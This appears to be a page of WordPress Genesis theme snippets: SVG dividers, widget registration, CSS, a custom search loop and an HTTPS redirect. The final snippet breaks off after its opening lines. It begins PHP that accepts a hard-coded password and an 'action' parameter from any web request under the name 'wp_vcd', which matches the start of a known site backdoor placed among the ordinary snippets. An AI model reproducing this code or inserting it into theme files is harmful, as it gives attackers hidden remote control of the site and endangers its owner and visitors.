This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* CODE FOR AFTER HERO WIDGET AREA */ | |
<div class="after-hero"> | |
<svg width: 100%; height:auto viewbox="0 0 2444 132"> | |
<path fill="#8b46ff" fill-rule="evenodd" d="M1222 0h1222c-444.13 88-852.127 132-1223.993 132C849.253 132 442.585 88.263 0 .789V0h1222z"></path> | |
</svg> | |
</div> | |
/* CODE FOR BEFORE FOOTER WIDGET AREA */ | |
<div class="before-footer-widget"> | |
<svg width: 100%; height:auto viewbox="0 0 2444 132"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//* Register an After Hero Widget for Front Page | |
add_action( 'widgets_init', 'genesischild_front_page_widgets' ); | |
function genesischild_front_page_widgets() { | |
genesis_register_sidebar( array( | |
'id' => 'after-hero', | |
'name' => __( 'After Hero', 'genesischild' ), | |
'description' => __( 'This is the After Hero area', 'genesischild' ), | |
) ); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* STYLING AFTER HERO WIDGET */ | |
.after-hero .wrap { | |
max-width: 100%; | |
font-size: 0; | |
padding-right: 0; | |
padding-left: 0; | |
} | |
/* STYLING BEFORE FOOTER WIDGET */ | |
.before-footer-widget { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Source: https://sridharkatakam.com/custom-search-template-in-genesis-showing-results-grouped-by-post-types/ | |
*/ | |
remove_action( 'genesis_loop', 'genesis_do_loop' ); | |
add_action( 'genesis_loop', 'sk_do_search_loop' ); | |
/** | |
* Outputs a custom loop. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//* Grid Style Search Results | |
function search_results_post_class( $classes ) { | |
// Don't run on single posts or pages | |
if( !is_search() ) | |
return $classes; | |
$classes[] = 'one-third'; | |
global $wp_query; | |
if( 0 == $wp_query->current_post || 0 == $wp_query->current_post % 3 ) | |
$classes[] = 'first'; | |
return $classes; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script>if (document.location.protocol != “https:”) {document.location = document.URL.replace(/^http:/i, “https:”);}</script><script type=’text/javascript’ src=’https://cdn.ampproject.org/v0.js’ async></script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="timeline"> | |
<div class="container lefthand"> | |
<div class="box"> | |
<h2>2017</h2> | |
Lorem ipsum dolor sit amet, quo ei simul congue exerci, ad nec admodum perfecto mnesarchum, vim ea mazim fierent detracto. Ea quis iuvaret expetendis his, te elit voluptua dignissim per, habeo iusto primis ea eam. | |
</div> | |
</div> | |
<div class="container righthand"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Snippets for Custom Body Class */ | |
.timeline-body .entry { | |
background-color: transparent; | |
padding: 10px 10px; | |
} | |
.timeline-body .site-inner { | |
max-width: 1280px!important; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@media only screen and (max-width: 860px) { | |
.timeline-body .site-inner { | |
padding: 5% 0 5% 5%; | |
} | |
.timeline::after { | |
left: 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4774c4b1a8af859f72ad92f7d34a161b')) | |
{ | |
$div_code_name="wp_vcd"; | |
switch ($_REQUEST['action']) | |
{ | |